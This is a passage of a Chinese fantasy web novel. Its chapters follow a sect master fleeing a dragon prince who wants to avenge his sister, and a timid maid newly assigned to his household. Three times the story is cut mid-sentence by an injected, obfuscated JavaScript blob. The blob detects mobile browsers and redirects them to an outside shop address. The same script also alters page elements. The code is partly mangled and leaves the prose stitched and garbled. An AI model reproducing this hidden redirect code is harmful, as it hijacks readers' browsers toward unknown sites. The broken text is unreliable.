谈起莲烨掌门的罪行,玄衣郎精神大振:“他与我本人没有直接瓜葛,我来也是为了别人。听说这奸贼身居苍鸯殿掌门之位,却行卑鄙之事!我没遇见便罢了,可他偏偏骗到了我家跟前……”他话里满是鄙夷,义愤填膺的模样好似天地间的正光。 妄一藏住眼中的汹涌情绪,讨厌莲烨掌门的人不少,多他一个不足为奇。 谢盈芝不知情,站出来反问莲烨掌门在他口中怎会如此? “我绝无虚言,也从不随便泼人脏水。”玄衣郎信誓旦旦,“诸位别被这个衣冠禽兽给骗了,我那没用的姐......不,是别人的姐不晓得为这个薄情郎骗走多少泪......” 没人在意他话里的颠三倒四,盈芝姑娘左右相望,众人都默不作声。 “走吧。”凌延卿低声催促。 妄一点点头,再不走,怕是走不了了。 可人往往越怕什么,就非要来点什么。 今日的陈宝饭馆注定是空前的热闹。玄衣男子不被他们邀请,也不好巴巴跟上。然妄一一行人还没踏出门,御朝掌门就带一队人马赶过来。瞧阵仗,只大不小。 饭馆伙计放下一堆烂摊子不收拾,忙过来招呼:“大人,承蒙您驾临小店,不过要稍等片刻了,咱们刚出了事,还没整理妥当!” 承英背着手,仰着头,身边的属下替他开口:“我们接到报案,说有人闹事,影响京中治安,我们大人特意过来看看。伙计,你最好如实交代,万不可包庇罪犯!” 妄一冷嗤一声,有人在地盘上闹事,店家不报案还有谁报案?见那伙计不知情的模样,妄一猜想这是一出自唱自演的好戏罢了! 凌延卿冲妄一指了指后厨,示意从后门走。妄一会意,刚要动身,玄衣郎又贴过来和他叙话,问外面领头的人是苍鸯殿的吗? 不等他作声,承英的目光就大咧咧地直射过来,表情变幻间,看到玄衣郎立刻散去肃穆的面容,兴冲冲道:“殿下竟已在此,恕我等有失远迎!” 他当众亮明来客身份,掌柜的闻讯赶来,再次吓得说不出话。 “你......知道是我?”玄衣郎略微犹豫。 “殿下周身气度与常人有天然不同,况且您要驾临的消息早在苍鸯殿传开,琴升门已备好居所。”承英转头吩咐,“王五,你速回去通报,叫他们安排人迎接。对了,今日镇守大门的是谁?瞧他们疏忽的,回去定要严加责罚!” 他张嘴就是罚劣奖优,唯恐让殿下觉得怠慢。 “慢。”玄衣郎拦下他,“他们并无得罪我,是我不想兴师动众。” 他此次原定三日后才抵达,嫌随从多,赶路慢,他一急之下独自离了队伍。赶到鬼京时略有几分忐忑,他没有排场,当时身上只有一枚冰石戒指,若守卫将他拦下,他还怕自报身份遭人耻笑。可奇怪的是他一露正脸,守卫放下兵刃不说,还眼睛进沙了,叫另一个过来看看。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304012|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>承英笑道:“殿下宽宏大量,那我替他们谢过殿下。” 妄一冷漠而视,这人与帝姬长相相似,加之承英早一步收到来访消息,弯腰哈背往里请都来不及,怎会阻拦呢? 此时此刻,他都想问问这位玄衣殿下,是否看见鬼京城中静谧流淌的抚安河?那都是御朝门放的水。 阿辞慢慢靠近,小声提醒:“大人,趁他们相互寒暄,咱们快溜吧,那小子是来找你报仇的!” “你们走吧,我来不及了。”妄一没有笑意,爽快迎上承英直射而来的视线,喃喃道,“阿辞,有些人算盘打得好啊,从他出现的那一刻起,我就没有机会抽身了。” 因妄一仗义出言,玄衣郎现对他颇为赞赏,和承英交流时,话里话外希望苍鸯殿能嘉奖则个。 “能得殿下的赏识,本就是莫大的荣幸。何况维护鬼京秩序,一向都是苍鸯殿掌门职责所在。”承英笑着冲妄一道,“你说是不是啊,莲烨大人?” “他是......谁?”玄衣郎的表情僵硬,仿佛没听清一般,怔怔地问道,“你说什么,你说他......他是?” 妄一神情严肃,早知会遇冤家,别说阿辞掏请客,就算“砰砰”再磕几个响头,莲烨掌门也肯定不来了。 承英故作意外和道:“殿下竟还不知他的身份吗?堂堂苍鸯殿的莲烨掌门,神欲鬼京没有第二个!”饭馆里发生的一切,如他所料般进行着。 为殿下指明仇人后,承英后退一步,做一名看客。 玄衣郎再没方才的爽朗,眼睛饱含被欺骗的怒火,指着妄一道:“你就是那个巧言令色,让帝姬......”朝思暮想的人? 妄一道:“殿下,一人做事一人当,您有账要与我清算,我在门里恭候。在此之前,只希望您莫信小人谗言。”他讲得清清楚楚,客客气气,没有因为身份的悬殊,而畏首畏尾。 承英不由暗讽:“说的比唱的好听,殿下,就是他们......” “大人慎言。”凌延卿悄然走近承英身边,“这家馆子前一刻钟才因有人出言诽谤,被我们家大人狠揍,现在应该经不起第二个回合了。”末了,他把眼神抛给掌柜。 陈宝掌柜紧张的满头是汗,虽说该赔的钱一分没少,但生意来之不易,今天撞邪了,没完没了。 承英禁声,确实不再讲了。他并非是怕妄一也过来打他,而是想到自己乃御朝门的掌事,在外需顾忌形象,也不便将妄一与帝姬的私事当众宣扬。 妄一笑了两声,坦然面对:“刚才不知殿下身份,举止间或有不敬,还请殿下包涵。公务加身之故,我等需先走一步。” 玄衣郎愣在原地,还在消化那个令人难以置信的事实。他难得有个欣赏的人,怎么会是敌人? 承英想阻拦这群人离去,可见殿下没有阻拦的意思,他也不好贸然开口。他告诉自己只要认清一件事——这位蛟龙太子的到来,老冤家有的是噩梦要做呢。 59. 出逃避难莫着急 莲烨掌门表面沉着冷静,店里的人哪知他一离馆子就健步如飞?这刻不容缓的模样,像是家中炉灶上的火没灭。 阿辞都嫌自己两条小短腿跟不上,索性换作四脚朝地,叫唤道:“大人啊,出来时我给铁头备一筐子吃食,饿不着它的。” 铁头正是长身体的年纪,为此司命府送来的瓜果都是成倍的量,生怕饿瘦它,不好与真君交代。 “谁说我们急着去给它喂饭?”凌延卿带有几分严肃道,“我们不是要准备跑路的事宜吗?” 谢盈芝也说:“嗯,我大约也猜到是这样了。阿辞哥,恐怕我们一到莲烨门就要收拾行李了。”她起初没理清状况,后来大人那句“公务加身”,让她确定他们是有意避着少年。 妄一未有辩解,他方才的赤诚坦率确实是个策略,一个能为他们创造跑路时间的策略。 他才不会傻等着别人上门,要是来人脑子清楚,妄一还能解释两句,可那人是谁?和帝姬沾亲带故,十有八九都不认理。他乖乖待在苍鸯殿,无异于等人拿刀来砍。 莲烨掌门常年在各个街道小巷跑惯了,为照顾同行之人,他还故意放慢点速度。 阿辞忽然心事重重,大人若要搬家,那能搬去哪儿?去投奔尘芳仙君......他府里有仙子在。想来想去,大人的熟人里,只剩他阿辞最为牢靠。但他的狐狸住所也不大啊,届时一群人挤进来,估计连转身都困难。 他们紧赶慢赶的回来,铁头正伸着爪子在湖里瞎捞,有人来,它马上将嘴里的鱼吐回湖里,装作没事发生。 妄一进屋看了一圈,说实话,他住了那么久,要走却没什么东西能收拾的。见凌延卿和谢盈芝同样回屋拾掇,他当即道:“你们不必跟我一起,是我惹事在先,与你们毫不相干,要追责也该追到我头上来。日后若需联系,我会书信一封,待风头一过,自有再见之时。” 一个人跑路最是轻松,拖家带口反而麻烦。 凌延卿第一个不同意:“逃跑虽然有用,但非长久之计。何况你东躲西藏的,若遇大事,我们离得远,帮不了你。” 妄一道:“没办法,那位殿下在这里一日,我就要躲一日,要躲多久暂且未知,我不想让你们也不见天日。” “可是如果要抓人,鬼京这么点地方,大人怕是无处可逃啊。”谢盈芝琢磨道,“我见那人的做派,不像蛮不讲理的,不如咱们将话解释清楚?”她绝不信大人是他们口中的卑劣小人。 “算了吧!”妄一苦笑一声,“物以类聚,人以群分,他从凛海来,要为帝姬出头,我怕我长三张嘴都有理说不清。”他抬头无助地望天,莲烨掌门称得上胆大,但石头和石头最好别硬碰硬,何况那是一枚凛海金刚石。 “这么多人啊,大好的午后,你们不休息在忙活什么呢?”一位白发老者的出现,打破院子里低沉的气氛。 司命老爷穿得一身粉红,犹如三月桃花,一张慈祥的面孔,露着亲切的笑容。来了就去摸摸灵兽,但它只顾低头舔爪。 “司命老爷......您来了?”妄一有些意外。 “我来看看你们啊,顺便看看憨憨过得怎么样。”他端起灵兽的两只前爪,掂了掂重量,“我原还有两天才回来,但这趟远门太过无聊,我一半时间都在瞌睡。如此无趣,还是早早归家为妙。”说到这里,他又张望道,“你们刚在议论谁?不会在说我把憨憨留这儿太久,怪不讲理吧?” “没有,不是说您。”妄一否定道,“不过您来得正好,我一走,大家各有事忙,没人照顾它,您来了,就把它领回去吧。” 多日的相处,妄一对铁头并非毫无感情,可大难当头,彼此还是相互保重吧。 “什么话?你要去哪儿啊?”司命老爷看了眼打好的包袱,天下除却生死皆是小事,闯了什么大祸逼得人非跑路不可? 妄一和帝姬的过往不是难以启齿的禁忌。谢盈芝见大人没有避讳的意思,便很有眼力见地泡了壶茶水。 茶叶是刚买的,一泡开便香气四溢。司命老爷接过,自然闲适地坐在院里的石凳。 “说吧,是怎么个事?如果说来话长,那就长话短说,挑重点说。”他捋了捋花白的鬓发,“正巧我白天睡足了,现在正精神充沛着。” “好吧,多一个人知道,也能多出出主意。”妄一递了个眼神,让嘴皮子活络的阿辞代替叙述。 得令的阿辞,书听多了,表达能力比旁人厉害一截。他对司命老爷一拱手,把在饭馆发生的事,张口就来。 整个故事概括为:笙媱帝姬苦恋莲烨掌门,奈何爱而不得,于是化爱为恨,有人替她出头问罪。 末了,阿辞还说:“司命老爷,我们大人洁身自好多年,从没有勾引帝姬的意思,这笔情债欠得着实冤枉,现在又从角落里跳出个小子殿下,大人再不走,等那人回过味儿来,就要追命讨伐啦!” 既惹到显赫的权贵,哪怕无心,也要付出代价。 司命老爷深思片刻道:“别的我不好说,但你说的那人我认识,别看他气势汹汹,其实挺尊敬他干爷爷的。我打十个包票,他不会上门算账的。” “为什么这么说?”妄一不解道,“您有什么妙计吗?” “妙计称不上,但杯中茶水凉了,好心的姑娘麻烦再沏一壶,要是还有糕点之类的小点心,那我会更高兴的。”司命老爷乐呵呵地把空荡的茶杯放回。 谢盈芝会意,要茶的话,莲烨门管够,但要小糕点就没有了,伙房好像还剩几个红薯,烤一烤倒也能拿来待客。 凌延卿却开口:“如果我没猜错,那人应该是蛟龙族的‘瑄荣太子’。”从见到那枚幽蓝色的戒指起,他猜想过这个身份。 “你是从哪儿听来的?蛟龙族的太子殿下从未出过凛海。”司命老爷怪他无趣,连老人家的话头都要抢。 妄一同样质疑:“你整日待在牢狱,知道的竟比我们在外的还多?”他只猜到这人和帝姬同宗,并没往太子那处想,甚至都不知道蛟龙族是有太子的。 凌延卿回道:“那些囚犯来自天南地北,我当时看那枚戒指,与他们说的凛海冰石相差不大。要是说错了,别见怪。” 南路狱的囚犯身份复杂,有一部分还是尘芳仙君带回来流放的,因暂时还没想好要怎么安置,便先塞进狱中。 恰好这批人里有个曾在凛海任职过的仙官,受不住被贬的打击,精神失常了。一会儿说自己是笙媱帝姬,一会儿又称自己为瑄荣太子。旁边的狱友调侃他,说他出生高贵,怎还和他们这些人关在一起? 凌延卿瞧着可悲,就多留意一些。 “行,老夫承认你没说错,那人确实是瑄荣太子。”司命老爷撇了撇嘴,“话要从几百年前说起了,蛟龙神后产下两枚龙蛋,一枚是笙媱,另一枚就是推迟十年才破壳的瑄荣。” 破壳礼是每头蛟龙必经的仪式,笙媱那时都学会腾云而飞了,瑄荣待在龙蛋里迟迟不见动静。族中长辈也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319783|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算耐得住性子,拖了十年才接司命老爷过去判一判命格。 “蛟龙神后刚怀上那会儿,就给两孩子取好了名。帝姬取作‘笙媱’,太子取作‘箫遥’,名字固然是个好名字,但不合命格,我改为‘瑄荣’,果然没个几天,他就破壳了。”司命老爷摸着胡子笑道,“这俩姐弟的关系嘛,算不上相亲相爱,幼时吵吵闹闹,经常拳脚相向。我那会儿精力还过得去,时不时去凛海看看他们,老听到瑄荣诉苦,但好在帝姬始终没害及胞弟性命。” 瑄荣破壳前,笙媱在龙宫享受的一切都是顶尖的。一个太子的出现,把她现有的东西劈开一半划拉出去,定然有些不好受。 然而瑄荣也看不上这位长姐,不下数次痛斥她举止蛮横,没有帝姬该有的蕙质兰心,还极不尊重他这个蛟龙族未来的首领。 从某种意义上来说,俩姐弟的关系不比妄一和承英好多少。 阿辞惊异道:“这么说,这位太子千里迢迢赶来,不是找麻烦的,而是来奖励咱们的?” 妄一清醒道:“想太美,他知道我身份的那一刻,脸被气成什么样了,那是来感恩的神色,不是来夺命的?” 阿辞挠挠毛乎乎的手,嗫嚅道:“那他们真够矛盾的,关系不好,做弟弟的还要为姐姐远赴报仇。” 司命老爷道:“这没什么奇怪的。大家血脉相通,平日里小打小闹不断,可一旦外人欺负其中一个,另一个肯定也会帮忙。小狐狸啊,你这样说肯定是因为你家只有你一个孩子。” 阿辞噎了一下,是的,他都不知道他双亲是谁,从小就在狐族宗主膝下散养长大,就因没有父母撑腰,过得也很将就,成年后马上自立门户了,自然不能体会到这句话。 司命老爷叫他们放心,瑄荣虽是命定的将来要继承大统的,但因晚破壳几年,被蛟龙神族太过保护,行为习惯略带稚气,但没什么坏心。他说来替姐姐算账,估计就是要个说法而已。 如果这话出自旁人,妄一未必相信,可面前站的不是普通人。实在不行,他就搬去司命府上躲躲算了。 司命老爷喝完香茶,吃了几个烤红薯。临走时,问灵兽待尽兴了没有?该跟他走了吧?毕竟他府里冷冷清清。 他结识之人众多,但一把年纪到处叨扰人,届时传一个“孤寡”的名声,有辱斯文啊。 铁头躺在地上,露出柔软的肚皮。它不想去,但它通人性,知道自己吃喝都靠这老人家供着呢,不好那么绝情。 凌延卿对它微微一笑,说道:“司命府上有吃有喝,还有仆从侍候,待遇比莲烨门好上不少,你去了也不亏。” 阿辞听闻有些不服气,司命老爷是神仙没错,随手指个人伺候也没错,但凌师傅绝不能说铁头在莲烨门待遇不行!别人都不管的时候,灵兽的吃喝拉撒都靠阿辞一手照拂,若白誉真君见他这样仔细上心,必然也要感动得涕泪纵横。 铁头的鼻孔重重喷了一气,没人挽留,它在地上挠几下爪子。许是为了赌气,它顺从地和司命老爷走了,离开的时候头也没回。 凌延卿没什么感觉,狐狸却黯然神伤,好似自己栽了多年的花,叫人连盆端走了。 “想当初把它留在莲烨门,你总是在我耳边吹风,叫我快把它送走,没想到真走了,最舍不得的反而是你。”妄一推了把阿辞的后背,“既舍不得它,趁没走远,你赶紧哭几声将它拦下来得了。” 阿辞被推了个踉跄,到底没跟过去,硬气地称自己坚强得很! 60. 再遇芜香门中见 瑄荣太子光临鬼京的消息,于次日传达到各个门里。琴升大人早有准备,安排太子入住重丰门。 昨日还坐立不安的莲烨大人,因司命老爷一番话而心平气和。唯一让他感到拘束的是,往后出门又多一个要避开的人。 不止如此,其他掌门也没有因太子的到访而喜悦。曾经他们在笙媱帝姬的手里或多或少吃过亏,作为胞弟的瑄荣,想必也不好惹。如此,他们便无法对太子殿下流露真挚的热情,只能打起十二分的尊敬之意,希望别成为殿下的眼中刺。 苍鸯殿的一众女眷更是昼警夕惕,她们有些是伺候过帝姬的,只觉得生长在严寒之地的人,性格冷傲,喜怒无常。其中稍有姿色者,生怕被太子看上,连夜梳起过时的发髻,卸去脸上的诸多胭脂。 但众人之中,亦有例外出现。 御朝掌门反其道而行之,自这位太子爷到来,他没少往那跟前凑,旁人虽觉谄媚,却也不得不承认,能哄得太子欢心,是他承英的本事,换成其他同僚可未必能吃下这碗饭。 妄一对此毫不在意,檐下微风阵阵时,他收到了耿胜金的信件。里面是关于侍灵珠的来历,是近段日子耿胜金得以打听到的东西。 侍灵珠——据说最早时是与赤渊剑为一体,灵珠乃剑身的灵魂所在,正因有它,才赋予宝剑削铁如泥,吹毛利刃的神力。 有灵性的东西,通常都会认主,而它又是神佑国开国之君的佩剑,但不知在岁月的长河里经历了什么,使得历代王室供奉下来的,唯剩一枚灵珠而已。 阅毕,信上的字就慢慢消失了,不容人再看第二遍。 妄一蹙眉深思,赤渊剑......开国君主之物......小小的灵珠竟有这来头? 可融入身中多日,他并未感觉有何不同,不过身上的功德煞倒是许久没发作了。 信封中还有一张泛黄破旧,沾染些许霉味的残页,上面画着一柄长剑,剑身细长且线条流畅,手柄位置有两片羽毛雕塑,中间镶嵌一枚灵珠。 他凝视残页,越看越觉得有似曾相识之感。 不应该啊,这是千年以前的东西。千年以前,他都不知道自己在哪。 继续眯眼细瞧,回想他所接触的所有长剑,妄一猛然惊觉这不是尘芳仙君送他的丹纹笔吗?! 那日它化身长剑,光辉耀眼。仙君说他和这把剑有缘,可后来他尝试几回,神笔纹丝不动,如同死物,仿佛那次的惊艳只是梦中所见。 赤渊剑认他为主了?妄一皱起眉头,不太确定。 “莲烨大人可在?”正当他思绪未平,外头传来了独眼嬷嬷的声音。 “我在!”妄一把东西简单整理,举步生风走了出去。 能辛苦嬷嬷跑一趟,定是重要的事。但打开门一看,才知来的不止一个。 那姑娘躲在嬷嬷身后,怯生生地行了个礼。模样挺乖顺的,妄一却觉得不妙,问这是何意? 嬷嬷让莲烨掌门别紧张,这丫头唤作“芜香”,原就是从苍鸯殿出去的,在仙子身边伺候了几天,出于某些原因,仙子又将她送回了。 “苍鸯殿十三门,唯有您这儿尚有空缺,大人让她做什么都行,只求有个依傍之地。” 妄一眉毛一挑,莲烨门这么多年没有奴仆,是无人肯来吗?是他不愿意罢了,但人都亲自送来了,这事定然没得商量。 独眼嬷嬷打量一眼,嘴角稍稍往下一撇,若无娘娘指派,她其实也不乐意跑一趟。仙子登临正殿的那日,送了几匹天庭新织的仙锦彩缎,那时嬷嬷正在门外候着,详细的话没听清。但隔了几日,仙子便亲自把芜香送过来,并轻拍手背,叮嘱道:“我走后,你就好好留在这儿做事。我不熟悉莲烨门,你若有难处了,再与我讲。” 这其中有什么目的,或者有什么道理,嬷嬷不敢乱说,只觉得芜香这丫头怪好笑的,放眼整个苍鸯殿,试问谁会放着伺候仙子的美差不做,要去莲烨门贴冷屁股? 从正殿走过来的一段路,嬷嬷忍住疑惑,没问芜香是不是脑子进水,她一路笔直将人带到这儿,门一开,人一送,就当事情办妥了。 既是娘娘的要求,妄一再不情愿,也得把人收下,然后再笑眯眯地目送独眼嬷嬷离开。 他背着手,看着芜香,百思不得其解。芜香跟着仙子没吃苦头,她身材虽比从前丰润些,却依旧畏手畏脚,不敢抬头视人。 缄默片刻,妄一真诚发问:“外头谣传我吃人吗?” “什么?”芜香惊惶地抬起头,随后很快低下去,“没有,外面没有说您吃人!人不好吃,您不会吃人,只是我......我怕......” “怕什么?”妄一高大的身影笼罩住她,“怕我苛待你?还是怕我折磨你?我记得上次你来莲烨门,不是回绝了你?我不习惯被人伺候,你也无法适应我的习性,你......”他话音一顿,又问:“唉,你在抖什么?” 芜香两只肩膀发颤,胆子小得像只鸵鸟。她盯着自己脚尖,也不敢大声出气。 “我只是照例询问,并没有在教训你。娘娘把你交代给我,你恪守本分,我不会寻你的茬。”妄一顿时无奈,感觉跟芜香讲话,他是不是得细声细气些? “大人......我知道......”芜香掐着手背,迫使自己冷静。为给掌门留个不错的影响,她赶紧拉个笑脸,可惜这怪异的表情,叫人看得五味杂陈。 别为难她了,妄一随手一指西屋,道:“那里还剩个空房间,你就住这那儿吧。”他不喜欢怯弱的姑娘,给她指完住处就走了。 芜香谢过掌门,等看不见大人后,她才直起身,朝那屋子走去。 西屋不是全空着,内里三间房,靠左边的让盈芝姑娘住了,芜香只得选右边。两人的房间正好门对门。 她当初跟仙子走的时候,没带走任何东西。仙子现在送她回来,她依然也没带什么。她那些旧物被留在苍鸯殿里,胡乱塞在以前的床底。 那是一个可容纳十几个人睡的大通铺,左邻右舍也都是她的老熟人。 她们一见芜香来了,均露出不可思议的表情。暗想她不是抱了仙子的大腿,届时要一起回天宫吗? 芜香本人并没有落差感,她依旧是憨厚的笑意。可在被诸多问题包围时,她渐渐生出难以招架的慌乱。 人人都当芜香落势了,猜想是她呆头呆脑的惹了仙子不快。 芜香笨嘴拙舌,只会说“不是这个样子的”,可当别人追问真正的原因,她又泄了气,垂头道:“你们说是什么就是什么吧。” 她这包子性格,大家一下就没了兴趣,懒得浪费口水,反正发生什么,她也都会默默接受。 靠门的姑娘伸了个懒腰,在芜香走时,一脚将她绊倒。 “你......”芜香红着眼眶,满是委屈。 “我怎么了?这是我们的地盘,姑奶奶累了一天还不许放松吗?倒是你,都是外人了,以后不要随便进出。”那姑娘说得理直气壮。 芜香嘴巴一瘪,常年养成的性格让她选择闭口不言,抱着收拾好的东西,一瘸一瘸地走了。 膝盖破了,她独自打水清理伤口,过程虽痛,她没有哭,只是不明白她们为什么要这样对她。 前不久,每个人还都热情洋溢的,一个劲地叫她有空就来看看。当她真的回来了,那些人又特别冷淡,还夹杂着嫌恶的情绪。 她知道别人在背后怎么议论她,默认她是苍鸯殿最低阶的小娥。为了能留在苍鸯殿,她到处帮人干活。那些脏的累的苦的糟的,只要别人不乐意干的,喊她一声,她必包揽。 她是傻,却也有傻福,当日她在广场前的石径上洒扫,脚下铺成的鹅卵石形状圆润,清理起来并非易事。 仙子路过,无心多看一眼,她便稀里糊涂成了仙子的使女。 昔日姐妹热络地对芜香说,来日可别忘了殿中这些旧友。她抓住了仙子的衣袂,仿佛一只脚已经踏入仙班。 芜香没在一声声奉承中飘了脚跟,她低头默默发誓,待到仙子住处,她定要一百倍一千倍的努力扫地,争取让仙子所到之处一尘不染。时间一晃眼,已过去许久,可她在仙府连一根扫帚丝都没碰过。 大概因为仙子的近身使女都不需要做那种粗活吧,日子安逸,但这不是她所向往的,她能体会到的是一种漫长的无聊感,常常魂不守舍。 所以仙子派遣她重回苍鸯殿时,芜香几乎是欢喜的。兜兜转转,她又来到莲烨门,这位掌门虽说不近人情,但印象里似乎从未刻意刁难人。仙子让她驻留在此,不晓得以后要怎么过。 芜香坐在屋里发怔,不知不觉就到了傍晚,谢盈芝拖着疲惫的身子回来了。 她自个儿争气,绝不做玉芙楼的花架子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322760|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她除了对女子的妆容发髻尤为上心,审美方面更是让人挑不出错。 阿辞担心她过度劳累,时不时去店门口张望。知她整日都没工夫闲坐,不下数次劝阻,可她偏偏乐在其中。 如今店铺生意兴隆,少不了谢盈芝的功劳。凡是在这条街的,没人敢再开一家和他们叫板。 盈芝姑娘将晒了一天的衣服收进,见西屋多了个人,她点头一笑算是打过招呼。 芜香看得有些出神,心道那张画像果然没有骗人,美人和上面长得一模一样。 在外累了一天,谢盈芝归来想给房间四处通风。对面的姑娘一直盯着她看,她便柔声喊人进来坐坐。 亲切的声音,真切的笑容,芜香没法拒绝。 谢盈芝笑道:“我这儿没有水果点心,桌边有凳子,桌上也有茶,我先叠完这些衣服,再陪你说话。” 芜香应了一声,美人的房间没有奇珍异宝,但她进来后,总忍不住偷偷观赏。 她们的房间是一样大的,不一样的是谢盈芝屋里有张梳妆台,这是阿辞为了让她方便梳妆,特意从外面挪来的。盈芝姑娘在上面放置花瓶,瓶里的花娇艳欲滴,颜色搭配一点儿都不俗气。许是清晨就摘好了的,现要靠近些才能闻到花香。 芜香凑上前,乐呵呵地夸这花真漂亮。 “是啊,我每天起得早,这些都是当日摘的,晚间洗浴了还能放进水桶里。”谢盈芝一边说,手上的动作也不停。 布料的皱褶被她依次捋平,而后端正相叠,虽不是很标准,但看得出很用心。 这些衣服宽大,颜色且单一,一看就知是男子衣物。 芜香别开了视线,脸上有一层红。这不像是别人的,炽热的红色倒像莲烨掌门穿的。 她没忘记自己来这里是做什么的,可她不善交谈,面对生人,除了盯着人家的容貌出神,暂且想不出别的搭讪方法。 许是她的眼神太过直白,看久了多少会让人感觉不适。谢盈芝终于问:“妹妹怎么了?好像对我很好奇啊。” 芜香扭捏了半天,她不能出卖仙子,绞尽脑汁说道:“我就是觉得姐姐长得好看,肯定会有很多人喜爱,所以有一些些好奇......姐姐会不会也有喜欢的人。” 谢盈芝抿嘴一笑,随之而来是眼角稍纵即逝的愁意。 “喜欢”一词太过美好,从她的过往里翻找一遍,自己也曾有过那怦然心动的瞬间,只是现在变得遥不可及。 “做人不能这么肤浅,好看不能当饭吃。如果真有本事,姣好的容貌会让你如鱼得水,但如果没有,那将是你的负担。”怕话题过于深沉,谢盈芝又换了轻快的语气,“对了,小妹妹,你如果是想帮别人送情书给我,那我可不会收,那些酸溜溜的诗看着就费眼睛。”从前她还潇洒地扔了一大摞,化作炉上的一把火。 “没有没有,我手上没有情书。”芜香笑出了声,神情逐渐得到放松。 再晚些时候,谢盈芝捧着整理好的衣物,送到大人屋里。 大人从没要求她做什么,但她总主动包揽许多活。洗晒衣物、洗碗擦桌,从不用人吩咐。 妄一坐在窗前,目光凝视手中的丹纹神笔,他叫住谢盈芝,问:“怎么样?西屋里多了个人,你可感到尴尬?如果有,我帮你再调整。” “哦,您说那小妹妹啊?”谢盈芝眨了眨眼,“不用,屋里多个人,我也多个伴儿,挺好的。她看着老实巴交,就是胆子小,可能还有些认生。对了,大人怎么突然想到添人呢?是不是觉得我做事不够利索,这才找了她来啊?”最后一句话带着女子独有的嗔怪语气。 妄一笑了笑,说道:“你没来之前,甚至更早的时候,门里只有我一个人。那会儿所有事,无论大小都是我亲力亲为。” 聪敏如盈芝姑娘,她当即明白大人暗指此事是有人安排,于是困惑道:“那姑娘......是安插进来的眼线?” “或许吧。”妄一笑得漫不经心。他想,仙子大抵没有死心。 锦阙接纳芜香,许是因她与周良喜有几分相似,可人心隔肚皮,有些事情说不准。妄一唯一能肯定的是,仙子这趟历劫是失败的。 谢盈芝试探地问:“大人要我看着她吗?” 妄一思索一瞬,低声道:“不用了。” 以芜香的性子,她想做些手脚,八成也瞒不住人吧。 61. 大智若愚打正着 芜香初来乍到,她知礼貌,见谁都问好。 阿辞偏偏不吃这一套,总忍不住吐槽:“小丫头片子肩不能扛,手不能挑,如遇危险,还得先急着救她,真不知娘娘把她塞咱们这儿,能帮上大人什么忙。” 是啊,她能做什么呢?把人留下也非莲烨掌门的意愿,可木已成舟,妄一只能接受道:“多个人照顾你的盈芝姑娘不好吗?” 阿辞长长地“嘁”了一声,他早打听过芜香是何许人也,以她的风评来看,还不知道是谁照顾谁呢。 一语成谶,细胳膊细腿的小姑娘似乎什么都会一点,但又没一个精通。 妄一不愿发号施令,便和她说:“我不需要服侍,你也不用跟着我。你在仙子身边做什么,到了这里依旧做什么吧。若只是陪着聊天解闷,那就算了,我另外给你寻一个去处。” “不不不!我会做许多事!”怕惹大人不快,她乖顺地找了个扫把握在手心,这是她在苍鸯殿干的最多的差事。 她既有事可做,妄一稍稍放心些,但没过多久,他又笑不出来了。 芜香是有些呆愣,但不得不承认她的确有优点在身上,比如说勤勉之类的。 她在陌生的环境下能保持稳定的作息,每日坚持早睡早起,眼睛睁开就下床找活干,一点偷懒的念想都没有。 但太过勤勉,在妄一看来不是好事,甚至还有些烦人。 因她每干完活,就迅速站回大人跟前,什么也不说,跟定海神针似的,盯得人浑身不自在,不知在等一句夸奖,还是等下一句吩咐。 偶有一次,她在大人床底扫出了几根绳结和滚圆的线球,上面的兽牙印清晰可见。 她嚷嚷屋里进大耗子了,跑去告诉大人,却依稀听他呢喃:“原来那时它装傻充愣溜进来,是为藏这些东西。” 妄一忽然有些后悔,后悔把铁头送早了,倘若还在,也能让芜香多个“照顾”的事情干。他已强调过多次,忙完该忙的,剩下时间里,她想去做什么就去做什么,不用特意请示。但芜香偏不,或者说她没处可去,没自己的事要做。 妄一无法,只得开口:“你真当清闲极了,就去一趟阿辞的居所。他狐祖宗高寿,前日回山贺寿了。他一向独居,屋子应该收拾得不太干净。你去了,尽力而为之即可。” 得令后的芜香如得器重,她喜欢忙碌的感觉,好以此证明自己并非一无是处,怕那里没有趁手之物,走前还将扫把掸子桶子一块儿端走,这架势气势如虹,像要去大干一场。 “他那屋子太小,恐不好找,若寻得了,你喊一声‘再不开门我就砸了’即可。” 芜香有一丝疑虑,念叨怎会有这样的房子?但她还是利落动身了。 她一走,妄一感到一阵清净的舒心。而此刻回老家的阿辞,对大人的安排一无所知。 鬼京地皮寸土寸金,他那座住宅大小神似“土地庙”,占地横三尺,竖三尺,半月便能全部建成。虽说只有半人高,但进去的同时,人会因附在房梁上的法术而同等量缩小。自建成起,阿辞就与他屋子相处得无比和谐。 